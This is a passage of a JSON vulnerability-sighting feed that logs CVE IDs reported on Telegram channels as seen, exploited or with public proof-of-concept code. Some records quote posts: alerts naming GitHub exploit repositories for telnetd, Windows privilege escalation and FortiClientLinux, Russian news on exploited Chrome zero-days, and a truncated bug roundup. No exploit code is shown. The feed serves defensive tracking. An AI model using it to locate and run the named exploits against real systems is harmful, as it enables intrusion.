"1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24156", "type": "seen", "source": "Telegram/H9-wLQyAW-fjKUXTN1LxHiROu7RUaGwpmVWmVHE_m_8VlmA", "content": "", "creation_timestamp": "2026-04-07T19:34:38.000000Z"}, {"uuid": "d5db7898-05c5-4605-b43b-71e474cf9341", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24146", "type": "seen", "source": "Telegram/H9-wLQyAW-fjKUXTN1LxHiROu7RUaGwpmVWmVHE_m_8VlmA", "content": "", "creation_timestamp": "2026-04-07T19:34:38.000000Z"}, {"uuid": "7aba8b79-4887-48ed-ac07-9d6d932887c5", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24173", "type": "seen", "source": "Telegram/H9-wLQyAW-fjKUXTN1LxHiROu7RUaGwpmVWmVHE_m_8VlmA", "content": "", "creation_timestamp": "2026-04-07T19:34:38.000000Z"}, {"uuid": "a1014248-57c1-4ecf-b35f-9bf423503ba2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24175", "type": "published-proof-of-concept", "source": "Telegram/b7kqkVlyu_pyGML8IRNuJF5vW46V1gBKnrWAnE54KrYglqM", "content": "", "creation_timestamp": "2026-04-07T19:35:02.000000Z"}, {"uuid": "a9722928-2267-4bc2-9215-1e3f60d3d6f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24174", "type": "published-proof-of-concept", "source": "Telegram/b7kqkVlyu_pyGML8IRNuJF5vW46V1gBKnrWAnE54KrYglqM", "content": "", "creation_timestamp": "2026-04-07T19:35:02.000000Z"}, {"uuid": "52c52b0c-fa70-4bae-b7ce-ec061fc268d1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24096", "type": "seen", "source": "Telegram/G7jwG369FM-EA8JMh95pmFocIEiy10HcnXiWAHgS3_Vj404", "content": "", "creation_timestamp": "2026-04-07T21:22:07.000000Z"}, {"uuid": "9a11c9fb-f47b-44cd-a20d-f727850f5f77", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24977", "type": "seen", "source": "Telegram/xJezgF_r2WDWEMFIRLHcqUi9P6zOwR7kCz2QloATB-ENA7I", "content": "", "creation_timestamp": "2026-03-26T21:34:08.000000Z"}, {"uuid": "8673f818-9cd5-41f1-aa93-a92e0bf8f820", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24369", "type": "seen", "source": "Telegram/xJezgF_r2WDWEMFIRLHcqUi9P6zOwR7kCz2QloATB-ENA7I", "content": "", "creation_timestamp": "2026-03-26T21:34:08.000000Z"}, {"uuid": "af662e10-002d-4189-b768-1f0ff3be9cae", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24913", "type": "seen", "source": "Telegram/hV37EWxVZjCE_OmUguZteK61hTQCO0a6TSoWSa0yEp443LA", "content": "", "creation_timestamp": "2026-04-08T07:15:31.000000Z"}, {"uuid": "e776cc5b-6451-4e1e-a732-fdc2c3d207a9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24993", "type": "seen", "source": "Telegram/jvhOKmzqiPeYBdBxVFESt3SUAd_qySxNGUXLiFxkgoqjLWk", "content": "", "creation_timestamp": "2026-03-26T21:34:32.000000Z"}, {"uuid": "93250bf0-d1a0-4573-84fc-c15694cdceb7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24359", "type": "seen", "source": "Telegram/lYHJ2uqEkk9SWNnUth8Z9R1ezNKbfqND5wGUosjkyCOBSr0", "content": "", "creation_timestamp": "2026-03-26T23:19:48.000000Z"}, {"uuid": "a2aecb7d-819e-45a6-8ea2-9364d41c4b06", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24971", "type": "seen", "source": "Telegram/lYHJ2uqEkk9SWNnUth8Z9R1ezNKbfqND5wGUosjkyCOBSr0", "content": "", "creation_timestamp": "2026-03-26T23:19:48.000000Z"}, {"uuid": "b8c027e9-3baa-41a1-9794-4022245427f8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24373", "type": "published-proof-of-concept", "source": "Telegram/1bFqVBg1WZRYib4qCiBn36zcLriGuSpW_JXWd_U6ZWtzYtM", "content": "", "creation_timestamp": "2026-03-27T19:18:40.000000Z"}, {"uuid": "2562ef67-9970-4146-873b-7d2bdbce4e09", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24968", "type": "published-proof-of-concept", "source": "Telegram/1bFqVBg1WZRYib4qCiBn36zcLriGuSpW_JXWd_U6ZWtzYtM", "content": "", "creation_timestamp": "2026-03-27T19:18:40.000000Z"}, {"uuid": "732fb701-8915-4bc6-95db-53362cb83e73", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24148", "type": "seen", "source": "Telegram/kcbrs7WW_w-nIPeTyrZTDg68aatJd3a7QKUME-vVoB020PA", "content": "", "creation_timestamp": "2026-03-31T19:20:10.000000Z"}, {"uuid": "1ba7bc15-ed39-4ea6-848a-8543edaafb58", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24372", "type": "seen", "source": "Telegram/lYHJ2uqEkk9SWNnUth8Z9R1ezNKbfqND5wGUosjkyCOBSr0", "content": "", "creation_timestamp": "2026-03-26T23:19:48.000000Z"}, {"uuid": "81d7f7b4-9741-4737-9eab-5d59b551aa4c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24031", "type": "seen", "source": "Telegram/hnc41FvgR2VyITu4BVl6HabBwFPEZ-H6ltaZ3k0o3hEQc60", "content": "", "creation_timestamp": "2026-03-27T11:16:46.000000Z"}, {"uuid": "c1e780e3-ac78-4edc-b439-1f20dd1ecdb0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24970", "type": "published-proof-of-concept", "source": "Telegram/g4UVY8i00Fvp2poaqkkwyG2Aov1eL0WpFh7BWtAhzFw0vL8", "content": "", "creation_timestamp": "2026-03-27T17:22:00.000000Z"}, {"uuid": "94fbc7ae-e3ef-4ebb-9b81-32a51eb0f405", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24154", "type": "published-proof-of-concept", "source": "Telegram/pGlKXNBirRT0gxqFC1bVLs6_pojbUfu72MTdyyvCxHD2SpM", "content": "", "creation_timestamp": "2026-03-31T19:20:27.000000Z"}, {"uuid": "4d94d20a-0aa3-490a-a0fc-a764b487dda6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24165", "type": "published-proof-of-concept", "source": "Telegram/pGlKXNBirRT0gxqFC1bVLs6_pojbUfu72MTdyyvCxHD2SpM", "content": "", "creation_timestamp": "2026-03-31T19:20:27.000000Z"}, {"uuid": "eb53fc46-001a-4f34-bd30-c9cdbaf9bc31", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24154", "type": "seen", "source": "Telegram/kcbrs7WW_w-nIPeTyrZTDg68aatJd3a7QKUME-vVoB020PA", "content": "", "creation_timestamp": "2026-03-31T19:20:10.000000Z"}, {"uuid": "ea0c617b-4cc4-45b8-a474-e1a7faf9517e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24164", "type": "published-proof-of-concept", "source": "Telegram/pGlKXNBirRT0gxqFC1bVLs6_pojbUfu72MTdyyvCxHD2SpM", "content": "", "creation_timestamp": "2026-03-31T19:20:27.000000Z"}, {"uuid": "12763403-ed30-471a-9c4a-4a0d95789c9e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24516", "type": "published-proof-of-concept", "source": "Telegram/iJe41NTkZQJK4wFVG9OP9y2V0JVLEcjlDCmGEFn1YNc-zvI", "content": "", "creation_timestamp": "2026-04-03T09:00:05.000000Z"}, {"uuid": "3512ad87-c907-480f-b1df-85003a9b0d00", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/78893", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-24061-GNU-InetUtils-telnetd-Authentication-Bypass-Vulnerability\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Risma2025\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a None\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-04-05 07:28:44\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\n\u65e0\u63cf\u8ff0\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-04-05T08:00:04.000000Z"}, {"uuid": "8ca655ee-df90-48d4-b700-d68f57f59e0b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24858", "type": "exploited", "source": "Telegram/qsPBqeS_hRRyxBP5oCzewe5FcP8rxnFYYOhCltCsqr63j8Qs", "content": "", "creation_timestamp": "2026-01-28T16:20:05.000000Z"}, {"uuid": "bef89fef-510a-402b-a902-236b00b65b3e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "Telegram/DIWqgF-7sWws4tHWAmbzvMFEwGkWc1zEWYkoIuEMPdtIEfSl", "content": "", "creation_timestamp": "2026-01-24T01:20:05.000000Z"}, {"uuid": "c75a44cb-1ced-4e4e-bd77-7eb7a32ae629", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-2441", "type": "exploited", "source": "https://t.me/true_secator/8054", "content": "Google \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u044d\u043a\u0441\u0442\u0440\u0435\u043d\u043d\u044b\u0435 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u0435\u0449\u0435 \u043e\u0434\u043d\u043e\u0439 \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0435\u0440\u0442\u043e\u0439 \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u043e\u0439 0-day \u0432 Chrome, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u0442\u0441\u044f \u0432 \u0430\u0442\u0430\u043a\u0430\u0445.\n\nCVE-2026-5281, \u0441\u043e\u0433\u043b\u0430\u0441\u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e \u043e\u043f\u0438\u0441\u0430\u043d\u043d\u043e\u0439 \u0438\u0441\u0442\u043e\u0440\u0438\u0438 \u0438\u0437\u043c\u0435\u043d\u0435\u043d\u0438\u0439 Chromium, \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u044e \u0442\u0438\u043f\u0430 \u00ab\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f\u00bb \u0432 Dawn, \u0431\u0430\u0437\u043e\u0432\u043e\u0439 \u043a\u0440\u043e\u0441\u0441\u043f\u043b\u0430\u0442\u0444\u043e\u0440\u043c\u0435\u043d\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0441\u0442\u0430\u043d\u0434\u0430\u0440\u0442\u0430 WebGPU, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u043e\u0439 \u043f\u0440\u043e\u0435\u043a\u0442\u043e\u043c Chromium.\n\n\u0417\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u043c\u043e\u0433\u0443\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u044c \u0435\u0435 \u0434\u043b\u044f \u0442\u043e\u0433\u043e, \u0447\u0442\u043e\u0431\u044b \u0432\u044b\u0437\u044b\u0432\u0430\u0442\u044c \u0441\u0431\u043e\u0438 \u0432 \u0440\u0430\u0431\u043e\u0442\u0435 \u0431\u0440\u0430\u0443\u0437\u0435\u0440\u0430, \u043f\u043e\u0432\u0440\u0435\u0436\u0434\u0435\u043d\u0438\u0435 \u0434\u0430\u043d\u043d\u044b\u0445, \u043f\u0440\u043e\u0431\u043b\u0435\u043c\u044b \u0441 \u043e\u0442\u043e\u0431\u0440\u0430\u0436\u0435\u043d\u0438\u0435\u043c \u0438\u043b\u0438 \u0434\u0440\u0443\u0433\u043e\u0435 \u0430\u043d\u043e\u043c\u0430\u043b\u044c\u043d\u043e\u0435 \u043f\u043e\u0432\u0435\u0434\u0435\u043d\u0438\u0435.\n\n\u041a\u0430\u043a \u0437\u0430\u044f\u0432\u043b\u044f\u044e\u0442 \u0432 Google, \u0443 \u043a\u043e\u043c\u043f\u0430\u043d\u0438\u0438 \u0435\u0441\u0442\u044c \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432\u0430 \u0442\u043e\u0433\u043e, \u0447\u0442\u043e \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0438 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438 0-day \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445, \u043d\u043e \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0441\u0442\u0438 \u044d\u0442\u0438\u0445 \u0438\u043d\u0446\u0438\u0434\u0435\u043d\u0442\u043e\u0432 \u043d\u0435 \u0440\u0430\u0437\u0433\u043b\u0430\u0448\u0430\u044e\u0442\u0441\u044f.\n\n\u0414\u043e\u0441\u0442\u0443\u043f \u043a \u043f\u043e\u0434\u0440\u043e\u0431\u043d\u043e\u0439 \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u0438 \u043e\u0431 \u043e\u0448\u0438\u0431\u043a\u0435, \u043a\u0430\u043a \u043e\u0431\u044b\u0447\u043d\u043e, \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d \u0434\u043e \u0442\u0435\u0445 \u043f\u043e\u0440, \u043f\u043e\u043a\u0430 \u0431\u043e\u043b\u044c\u0448\u0438\u043d\u0441\u0442\u0432\u043e \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043d\u0435 \u043f\u043e\u043b\u0443\u0447\u0430\u0442 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u0435 \u0441 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0435\u043c.\n\nGoogle \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0434\u043b\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u0441\u0442\u0430\u0431\u0438\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u0430\u043d\u0430\u043b\u0430 \u043d\u0430\u0441\u0442\u043e\u043b\u044c\u043d\u044b\u0445 \u041f\u041a. \u041d\u043e\u0432\u044b\u0435 \u0432\u0435\u0440\u0441\u0438\u0438 \u0443\u0436\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b \u0434\u043b\u044f Windows, macOS (146.0.7680.177/178) \u0438 Linux (146.0.7680.177).\n\n\u042d\u0442\u043e \u0443\u0436\u0435 \u0447\u0435\u0442\u0432\u0451\u0440\u0442\u0430\u044f \u0430\u043a\u0442\u0438\u0432\u043d\u043e \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u0430\u044f 0-day \u0432 Chrome, \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u0430\u044f \u0441 \u043d\u0430\u0447\u0430\u043b\u0430 \u0433\u043e\u0434\u0430.\n\n\u041d\u0430\u043f\u043e\u043c\u043d\u0438\u043c, \u043f\u0435\u0440\u0432\u0430\u044f (CVE-2026-2441) \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u043b\u044f\u043b\u0430 \u0441\u043e\u0431\u043e\u0439 \u043e\u0448\u0438\u0431\u043a\u0443 \u0430\u043d\u043d\u0443\u043b\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0438\u0442\u0435\u0440\u0430\u0442\u043e\u0440\u0430 \u0432 CSSFontFeatureValuesMap (\u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u044f \u0437\u043d\u0430\u0447\u0435\u043d\u0438\u0439 \u0445\u0430\u0440\u0430\u043a\u0442\u0435\u0440\u0438\u0441\u0442\u0438\u043a \u0448\u0440\u0438\u0444\u0442\u043e\u0432 CSS \u0432 Chrome), \u043a\u043e\u0442\u043e\u0440\u0443\u044e Google\u00a0\u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0432 \u0441\u0435\u0440\u0435\u0434\u0438\u043d\u0435 \u0444\u0435\u0432\u0440\u0430\u043b\u044f\u00a0.\n\n\u0414\u0432\u0435 \u0434\u0440\u0443\u0433\u0438\u0435 CVE \u0432 Chrome,\u00a0\u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0435 \u0432 \u0430\u0442\u0430\u043a\u0430\u0445 \u0440\u0430\u043d\u0435\u0435 \u0432 \u044d\u0442\u043e\u043c \u043c\u0435\u0441\u044f\u0446\u0435: \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c\u00a0\u0437\u0430\u043f\u0438\u0441\u0438 \u0437\u0430 \u043f\u0440\u0435\u0434\u0435\u043b\u044b \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u043e\u0433\u043e \u0434\u0438\u0430\u043f\u0430\u0437\u043e\u043d\u0430\u00a0\u0432 \u0431\u0438\u0431\u043b\u0438\u043e\u0442\u0435\u043a\u0435 2D-\u0433\u0440\u0430\u0444\u0438\u043a\u0438 Skia (CVE-2026-3909), \u0430 \u0432\u0442\u043e\u0440\u0430\u044f - \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043d\u0435\u043a\u043e\u0440\u0440\u0435\u043a\u0442\u043d\u043e\u0439 \u0440\u0435\u0430\u043b\u0438\u0437\u0430\u0446\u0438\u0438 \u0432 \u0434\u0432\u0438\u0436\u043a\u0435 V8 JavaScript \u0438 WebAssembly (CVE-2026-3910).\n\n\u0412 \u043f\u0440\u043e\u0448\u043b\u043e\u043c \u0433\u043e\u0434\u0443 Google \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 \u0432 \u043e\u0431\u0449\u0435\u0439 \u0441\u043b\u043e\u0436\u043d\u043e\u0441\u0442\u0438\u00a08 \u043d\u0443\u043b\u0435\u0439, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043b\u0438\u0441\u044c \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0430\u043c\u0438, \u043c\u043d\u043e\u0433\u0438\u0435 \u0438\u0437 \u043a\u043e\u0442\u043e\u0440\u044b\u0445 \u0431\u044b\u043b\u0438 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u044b \u0433\u0440\u0443\u043f\u043f\u043e\u0439 \u0430\u043d\u0430\u043b\u0438\u0437\u0430 \u0443\u0433\u0440\u043e\u0437 Google (TAG), \u0438\u0437\u0432\u0435\u0441\u0442\u043d\u043e\u0439 \u043e\u0442\u0441\u043b\u0435\u0436\u0438\u0432\u0430\u043d\u0438\u0435\u043c \u0438 \u0438\u0434\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0435\u0439 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u0443\u0435\u043c\u044b\u0445 \u0432 \u0448\u043f\u0438\u043e\u043d\u0441\u043a\u0438\u0445 \u0430\u0442\u0430\u043a\u0430\u0445.", "creation_timestamp": "2026-04-01T13:00:06.000000Z"}, {"uuid": "ec4b2ddf-af03-4d49-92ac-6fcce5483421", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24061", "type": "seen", "source": "https://t.me/GithubRedTeam/77340", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a telnet_scan\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ekomsSavior\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-26 12:56:42\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nscanner/exploiter CVE-2026-24061 & CVE-2026-32746\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-26T13:00:05.000000Z"}, {"uuid": "ad8e9dad-4de6-42ce-900b-589dc45a5481", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24291", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77307", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a RegPwn\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a tracyliving606\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a C#\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-26 09:44:19\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nExploit Windows local privilege escalation on clients and servers using tested code for CVE-2026-24291 across multiple Windows versions\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-26T10:00:04.000000Z"}, {"uuid": "2f4ba038-cff4-4374-9b82-e7edb8c59f17", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24018", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/77282", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a Fortinet_FortiClient_Exploit_CVE-2026-24018\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a febin0x10\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Shell\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-03-26 07:01:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nFully Working Exploit for CVE-2026-24018: A UNIX symbolic link (Symlink) following vulnerability in Fortinet FortiClientLinux 7.4.0 through 7.4.4, FortiClientLinux 7.2.2 through 7.2.12 leads to a local and unprivileged user to escalate their privileges to root.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-03-26T08:00:04.000000Z"}, {"uuid": "6069f97f-de02-4d25-9c8c-bb42377c34d4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-24417", "type": "published-proof-of-concept", "source": "https://t.me/poxek/5896", "content": "\u041b\u043e\u0432\u0438\u0442\u0435 \u0432\u043a\u0443\u0441\u043d\u044b\u0435 \u0431\u0430\u0433\u0438 \u043f\u0440\u043e\u0448\u0435\u0434\u0448\u0435\u0439 \u043d\u0435\u0434\u0435\u043b\u0438 \n#Microsoft #Gods #OpenSTAManager #Signal #CVE #RCE\n\n\u27a1\ufe0f SDK Microsoft Semantic Kernel (CVE-2026-25592, CVSS 10.0) \u2014 \u0432 \u043a\u043e\u043c\u043f\u043e\u043d\u0435\u043d\u0442\u0435 SessionsPythonPlugin \u043f\u0440\u0438\u0441\u0443\u0442\u0441\u0442\u0432\u0443\u0435\u0442 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f arbitrary file write \u0447\u0435\u0440\u0435\u0437 path traversal. \u0410\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u044b\u0439 \u0430\u0442\u0430\u043a\u0443\u044e\u0449\u0438\u0439 \u0441 \u043c\u0438\u043d\u0438\u043c\u0430\u043b\u044c\u043d\u044b\u043c\u0438 \u043f\u0440\u0430\u0432\u0430\u043c\u0438 \u043c\u043e\u0436\u0435\u0442 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e \u0431\u0435\u0437 \u0443\u0447\u0430\u0441\u0442\u0438\u044f \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f \u0437\u0430\u043f\u0438\u0441\u044b\u0432\u0430\u0442\u044c \u043b\u044e\u0431\u044b\u0435 